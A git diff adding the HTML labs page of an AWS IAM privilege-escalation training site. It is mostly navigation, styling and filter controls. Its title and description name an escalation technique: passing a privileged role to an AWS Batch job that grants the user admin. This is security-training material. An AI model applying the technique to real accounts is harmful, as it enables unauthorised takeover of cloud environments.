-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/batch-001/index.html b/docs/labs/batch-001/index.html
new file mode 100644
index 00000000..94b33dd2
--- /dev/null
+++ b/docs/labs/batch-001/index.html
@@ -0,0 +1,735 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>AWS Batch Job Submission to Admin - pathfinding.cloud Labs</title>
+    <meta name="description" content="Pass privileged role to AWS Batch job definition and submit a job that grants the starting user administrative access">
+    <meta name="generator" content="pathfinding-cloud-lab-stub">
+    <!-- Open Graph / Social Sharing -->
+    <meta property="og:type" content="article">
+    <meta property="og:url" content="https://pathfinding.cloud/labs/batch-001/">
+    <meta property="og:title" content="AWS Batch Job Submission to Admin - pathfinding.cloud Labs">
+    <meta property="og:description" content="Pass privileged role to AWS Batch job definition and submit a job that grants the starting user administrative access">
+    <meta property="og:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Twitter Card -->
+    <meta name="twitter:card" content="summary_large_image">
+    <meta name="twitter:title" content="AWS Batch Job Submission to Admin - pathfinding.cloud Labs">
+    <meta name="twitter:description" content="Pass privileged role to AWS Batch job definition and submit a job that grants the starting user administrative access">
+    <meta name="twitter:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Favicon -->
+    <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
+    <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
+    <link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
+    <script
+        src="https://www.datadoghq-browser-agent.com/us1/v6/datadog-rum.js"
+        type="text/javascript">
+    </script>
+    <script>
+        window.DD_RUM && window.DD_RUM.init({
+        clientToken: 'pub480324ed2fcb73b641a2eccdd88c1d13',
+        applicationId: '61e8d384-68d8-45b7-a969-3187e0e167ff',
+        site: 'datadoghq.com',
+        service: 'pathfinding.cloud',
+        env: 'prod',
+        sessionSampleRate: 100,
+        sessionReplaySampleRate: 100,
+        trackBfcacheViews: true,
+        defaultPrivacyLevel: 'allow',
+        });
+    </script>
+    <!-- Prevent theme flicker by applying theme before render -->
+    <script>
+        (function() {
+            const savedTheme = localStorage.getItem('theme') || 'light';
+            if (savedTheme === 'light') {
+                document.documentElement.classList.add('light-theme');
+            }
+            // Sidebar anti-flicker: apply collapsed class before paint.
+            // Also force-collapse on narrow viewports regardless of saved preference.
+            if (localStorage.getItem('sidebarCollapsed') === 'true' || window.innerWidth < 1600) {
+                document.documentElement.classList.add('sidebar-collapsed');
+            }
+        })();
+    </script>
+    <link rel="stylesheet" href="/css/style.css?v=48">
+    <!-- Google Tag Manager -->
+    <script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
+    new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
+    j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
+    'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
+    })(window,document,'script','dataLayer','GTM-WDC8G6');</script>
+    <!-- End Google Tag Manager -->
+</head>
+<body>
+    <!-- Google Tag Manager (noscript) -->
+    <noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-WDC8G6"
+    height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
+    <!-- End Google Tag Manager (noscript) -->
+    <header>
+        <div class="header-content">
+            <div class="header-left">
+                <button id="mobile-menu-toggle" class="mobile-menu-toggle" aria-label="Toggle menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="3" y1="12" x2="21" y2="12"/>
+                        <line x1="3" y1="6" x2="21" y2="6"/>
+                        <line x1="3" y1="18" x2="21" y2="18"/>
+                    </svg>
+                </button>
+                <div class="site-branding">
+                    <a href="/" class="site-name">PATHFINDING.CLOUD</a>
+                    <div class="site-tagline">Understand, Detect &amp; Demonstrate AWS IAM Privilege Escalation</div>
+                </div>
+            </div>
+            <nav class="header-center">
+                <a href="/" class="nav-link">Home</a>
+                <div class="nav-dropdown">
+                    <a href="/paths/" class="nav-link">Paths</a>
+                    <div class="dropdown-content">
+                        <a href="/paths/">Attack Paths</a>
+                        <a href="/paths/stats/">Statistics</a>
+                    </div>
+                </div>
+                <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
+            </nav>
+            <div class="header-right">
+                <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
+                    <img src="/images/datadog-logo-white.png" alt="Datadog Logo" class="header-logo datadog-logo-white" style="filter: brightness(0) invert(1);">
+                    <img src="/images/datadog-logo-purple.png" alt="Datadog Logo" class="header-logo datadog-logo-purple" style="filter: brightness(0) saturate(100%); display: none;">
+                    <span class="icon-label">Datadog Security Labs</span>
+                </a>
+                <button id="theme-toggle" class="theme-toggle" aria-label="Toggle theme">
+                    <svg class="sun-icon" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <circle cx="12" cy="12" r="5"/>
+                        <line x1="12" y1="1" x2="12" y2="3"/>
+                        <line x1="12" y1="21" x2="12" y2="23"/>
+                        <line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/>
+                        <line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/>
+                        <line x1="1" y1="12" x2="3" y2="12"/>
+                        <line x1="21" y1="12" x2="23" y2="12"/>
+                        <line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/>
+                        <line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/>
+                    </svg>
+                    <svg class="moon-icon" width="24" height="24" viewBox="0 0 24 24" fill="currentColor">
+                        <path d="M21 12.79A9 9 0 1 1 11.21 3 7 7 0 0 0 21 12.79z"/>
+                    </svg>
+                    <span class="icon-label">Toggle Theme</span>
+                </button>
+                <a href="https://github.com/DataDog/pathfinding.cloud" target="_blank" class="github-link" aria-label="View on GitHub">
+                    <svg width="24" height="24" viewBox="0 0 16 16" fill="currentColor">
+                        <path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"/>
+                    </svg>
+                    <span class="icon-label">View on GitHub</span>
+                </a>
+            </div>
+        </div>
+    </header>
+
+    <!-- Mobile Menu Overlay -->
+    <div id="mobile-menu-overlay" class="mobile-menu-overlay">
+        <div class="mobile-menu">
+            <div class="mobile-menu-header">
+                <span>Menu</span>
+                <button id="mobile-menu-close" class="mobile-menu-close" aria-label="Close mobile menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="18" y1="6" x2="6" y2="18"/>
+                        <line x1="6" y1="6" x2="18" y2="18"/>
+                    </svg>
+                </button>
+            </div>
+            <nav class="mobile-menu-nav">
+                <a href="/" class="mobile-nav-link">Home</a>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Paths</span>
+                    <a href="/paths/" class="mobile-nav-link mobile-nav-child">Attack Paths</a>
+                    <a href="/paths/stats/" class="mobile-nav-link mobile-nav-child">Statistics</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Labs</span>
+                    <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
+                    <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
+            </nav>
+        </div>
+    </div>
+
+    <aside class="site-sidebar" id="site-sidebar">
+        <nav class="sidebar-nav">
+            <a href="/" class="sidebar-item" data-tooltip="Home">
+                <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/><polyline points="9 22 9 12 15 12 15 22"/></svg>
+                <span class="sidebar-label">Home</span>
+            </a>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-paths">
+                <button class="sidebar-group-toggle" data-tooltip="Paths">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
+                    <span class="sidebar-label">Paths</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/paths/" class="sidebar-item sidebar-child" data-tooltip="Attack Paths">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><circle cx="12" cy="12" r="3"/><line x1="12" y1="2" x2="12" y2="5"/><line x1="12" y1="19" x2="12" y2="22"/><line x1="2" y1="12" x2="5" y2="12"/><line x1="19" y1="12" x2="22" y2="12"/></svg>
+                        <span class="sidebar-label">Attack Paths</span>
+                    </a>
+                    <a href="/paths/stats/" class="sidebar-item sidebar-child" data-tooltip="Statistics">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="20" x2="18" y2="10"/><line x1="12" y1="20" x2="12" y2="4"/><line x1="6" y1="20" x2="6" y2="14"/><line x1="2" y1="20" x2="22" y2="20"/></svg>
+                        <span class="sidebar-label">Statistics</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-labs">
+                <button class="sidebar-group-toggle" data-tooltip="Labs">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M10 2v7.31l-4.76 9.54A2 2 0 0 0 7 22h10a2 2 0 0 0 1.76-2.95L14 9.31V2"/><line x1="8.5" y1="2" x2="15.5" y2="2"/></svg>
+                    <span class="sidebar-label">Labs</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/labs/" class="sidebar-item sidebar-child" data-tooltip="Labs Catalog">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Labs Catalog</span>
+                    </a>
+                    <a href="/labs/getting-started/" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
+        </nav>
+
+        <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
+            <svg class="sidebar-icon collapse-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="15 18 9 12 15 6"/></svg>
+            <span class="sidebar-label">Collapse</span>
+        </button>
+    </aside>
+
+    <div class="page-body">
+    <style>
+        /* Fix header overflow to allow dropdown to show */
+        header {
+            overflow: visible !important;
+        }
+
+        /* Dropdown menu styles */
+        .nav-dropdown {
+            position: relative;
+            display: flex;
+            align-items: center;
+        }
+
+        .nav-dropdown .dropdown-content {
+            display: none;
+            position: absolute;
+            top: 100%;
+            left: 0;
+            background: var(--card-background);
+            min-width: 180px;
+            box-shadow: 0 8px 16px rgba(0, 0, 0, 0.3);
+            border-radius: 8px;
+            z-index: 9999;
+            border: 2px solid var(--border-color);
+            padding-top: 12px;
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content::before {
+            content: '';
+            position: absolute;
+            top: 0;
+            left: 0;
+            right: 0;
+            height: 12px;
+            background: transparent;
+        }
+
+        .nav-dropdown .dropdown-content a {
+            color: var(--text-primary);
+            padding: 8px 16px;
+            text-decoration: none;
+            display: block;
+            transition: all 0.2s;
+            border-radius: 6px;
+            margin: 2px 4px;
+            position: relative;
+        }
+
+        .nav-dropdown .dropdown-content a:first-child {
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content a:hover {
+            background: var(--accent-purple);
+            color: white;
+            transform: translateX(4px);
+        }
+
+        .nav-dropdown .dropdown-content a.active {
+            color: var(--accent-color);
+            font-weight: 500;
+        }
+
+        .nav-dropdown .dropdown-content a.active::before {
+            content: '';
+            position: absolute;
+            left: 4px;
+            top: 50%;
+            transform: translateY(-50%);
+            width: 4px;
+            height: 4px;
+            background: var(--accent-color);
+            border-radius: 50%;
+        }
+
+        .nav-dropdown:hover .dropdown-content {
+            display: block;
+        }
+
+        .nav-dropdown:hover > .nav-link {
+            color: var(--accent-color);
+        }
+
+        /* Show white logo in dark mode, purple logo in light mode */
+        .datadog-logo-white {
+            display: block;
+        }
+
+        .datadog-logo-purple {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-white {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-purple {
+            display: block !important;
+        }
+    </style>
+
+    <nav class="container">
+        <div class="search-bar-container">
+            <div class="search-bar">
+                <input type="text" id="search" placeholder="Search labs by name, permission, or description...">
+            </div>
+            <div class="paths-count-display">
+                Showing <span id="filtered-labs-count">0</span> of <span id="total-labs-count">0</span> labs
+            </div>
+            <div class="filter-group view-toggle">
+                <label>View:</label>
+                <button id="view-cards" class="view-button active">Cards</button>
+                <button id="view-table" class="view-button">Table</button>
+            </div>
+        </div>
+        <div class="filters">
+            <!-- Category -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-category-filter">
+                <button class="filter-pill" data-filter="category-filter" type="button"><span class="filter-pill-key">Category</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-category-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
+                    <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
+                    <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
+                </div>
+                <select id="category-filter" hidden>
+                    <option value="">All Categories</option>
+                    <option value="Privilege Escalation">Privilege Escalation</option>
+                    <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
+                    <option value="CSPM: Toxic Combination">Toxic Combination</option>
+                </select>
+            </div>
+
+            <!-- Path Type -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-path-type-filter">
+                <button class="filter-pill" data-filter="path-type-filter" type="button"><span class="filter-pill-key">Type</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-path-type-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="self-escalation">Self-Escalation</div>
+                    <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
+                    <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
+                    <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
+                </div>
+                <select id="path-type-filter" hidden>
+                    <option value="">All Types</option>
+                    <option value="self-escalation">Self-Escalation</option>
+                    <option value="one-hop">One-Hop</option>
+                    <option value="multi-hop">Multi-Hop</option>
+                    <option value="cross-account">Cross-Account</option>
+                </select>
+            </div>
+
+            <!-- Cost -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-cost-filter">
+                <button class="filter-pill" data-filter="cost-filter" type="button"><span class="filter-pill-key">Cost</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-cost-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="free">Free</div>
+                    <div class="filter-pill-item" data-value="paid">Paid</div>
+                </div>
+                <select id="cost-filter" hidden>
+                    <option value="">All</option>
+                    <option value="free">Free</option>
+                    <option value="paid">Paid</option>
+                </select>
+            </div>
+
+            <!-- Hops (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-hops-filter">
+                <button class="filter-pill" data-filter="hops-filter" type="button"><span class="filter-pill-key">Hops</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-hops-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="hops-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Service (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-service-filter">
+                <button class="filter-pill" data-filter="service-filter" type="button"><span class="filter-pill-key">Service</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-service-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="service-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Online Play -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-online-filter">
+                <button class="filter-pill" data-filter="online-filter" type="button"><span class="filter-pill-key">Online Play</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-online-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="yes">Yes</div>
+                    <div class="filter-pill-item" data-value="no">No</div>
+                </div>
+                <select id="online-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="yes">Yes</option>
+                    <option value="no">No</option>
+                </select>
+            </div>
+
+            <!-- Start -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-start-filter">
+                <button class="filter-pill" data-filter="start-filter" type="button"><span class="filter-pill-key">Start</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-start-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-credentials">Credentials</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-network">Network (assumed)</div>
+                    <div class="filter-pill-item" data-value="public-network">Network (public)</div>
+                </div>
+                <select id="start-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="assumed-breach-credentials">Credentials</option>
+                    <option value="assumed-breach-network">Network (assumed)</option>
+                    <option value="public-network">Network (public)</option>
+                </select>
+            </div>
+
+            <!-- Target -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-target-filter">
+                <button class="filter-pill" data-filter="target-filter" type="button"><span class="filter-pill-key">Target</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-target-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="to-admin">Admin</div>
+                    <div class="filter-pill-item" data-value="to-bucket">Bucket</div>
+                </div>
+                <select id="target-filter" hidden>
+                    <option value="">All Targets</option>
+                    <option value="to-admin">Admin</option>
+                    <option value="to-bucket">Bucket</option>
+                </select>
+            </div>
+
+            <button id="reset-filters" class="filter-reset-btn" type="button">Reset</button>
+        </div>
+    </nav>
+
+    <style>
+        /* ── Getting Started CTA banner ── */
+        .gs-cta-banner {
+            display: none; /* shown by JS only if not dismissed */
+            position: relative;
+            border-radius: 12px;
+            border: 1px solid var(--border-color);
+            overflow: hidden;
+            margin-bottom: 20px;
+            background: var(--card-background);
+            transition: border-color 0.15s;
+        }
+        .gs-cta-banner:hover {
+            border-color: var(--accent-color);
+        }
+        .gs-cta-content-link {
+            display: grid;
+            grid-template-columns: 500px 1fr;
+            text-decoration: none;
+            color: inherit;
+        }
+        .gs-cta-text {
+            padding: 22px 52px 22px 24px; /* right pad leaves room for dismiss btn */
+            display: flex;
+            flex-direction: column;
+            justify-content: center;
+            gap: 5px;
+        }
+        .gs-cta-eyebrow {
+            font-size: 0.88rem;
+            font-weight: 700;
+            text-transform: uppercase;
+            letter-spacing: 0.1em;
+            color: var(--accent-color);
+        }
+        .gs-cta-title {
+            font-size: 1.05rem;
+            font-weight: 700;
+            color: var(--text-primary);
+            line-height: 1.2;
+        }
+        .gs-cta-desc {
+            font-size: 0.85rem;
+            color: var(--text-secondary);
+            line-height: 1.55;
+            max-width: 480px;
+        }
+        .gs-cta-action {
+            margin-top: 4px;
+            font-size: 0.82rem;
+            font-weight: 600;
+            color: var(--accent-color);
+            display: flex;
+            align-items: center;
+            gap: 5px;
+        }
+        .gs-cta-visual {
+            position: relative;
+            overflow: hidden;
+            height: 200px;
+            align-self: start;
+            border-left: 1px solid var(--border-color);
+            transition: border-left-color 0.15s;
+        }
+        .gs-cta-banner:hover .gs-cta-visual {
+            border-left-color: var(--accent-color);
+        }
+        .gs-cta-visual canvas {
+            display: block;
+            width: 100%;
+            height: 100%;
+        }
+        .gs-cta-dismiss {
+            position: absolute;
+            top: 10px;
+            right: 10px;
+            width: 26px;
+            height: 26px;
+            border-radius: 50%;
+            border: 1px solid var(--border-color);
+            background: var(--card-background);
+            color: var(--text-muted);
+            cursor: pointer;
+            display: flex;
+            align-items: center;
+            justify-content: center;
+            font-size: 1rem;
+            line-height: 1;
+            transition: background 0.15s, color 0.15s, border-color 0.15s;
+            z-index: 10;
+        }
+        .gs-cta-dismiss:hover {
+            background: var(--background-elevated);
+            color: var(--text-primary);
+            border-color: var(--text-muted);
+        }
+        @media (max-width: 640px) {
+            .gs-cta-content-link {
+                grid-template-columns: 1fr;
+            }
+            .gs-cta-visual { display: none; }
+        }
+    </style>
+
+    <main class="container">
+        <!-- List View -->
+        <div id="list-view">
+
+            <!-- Getting Started CTA (dismissed via localStorage) -->
+            <div id="gs-cta-banner" class="gs-cta-banner">
+                <a href="/labs/getting-started/" class="gs-cta-content-link">
+                    <div class="gs-cta-text">
+                        <div class="gs-cta-eyebrow">New here?</div>
+                        <div class="gs-cta-desc">The getting started guide covers AWS account prerequisites and setup, plabs binary installation and configuration, and suggests the first six labs — chosen to help you build a working mental model of AWS IAM privilege escalation before you explore the full catalog.</div>
+                        <div class="gs-cta-action">
+                            View the guide
+                            <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="5" y1="12" x2="19" y2="12"/><polyline points="12 5 19 12 12 19"/></svg>
+                        </div>
+                    </div>
+                    <div class="gs-cta-visual">
+                        <canvas id="gs-cta-canvas" aria-label="Interactive attack path map preview"></canvas>
+                    </div>
+                </a>
+                <button class="gs-cta-dismiss" id="gs-cta-dismiss" aria-label="Dismiss getting started banner">
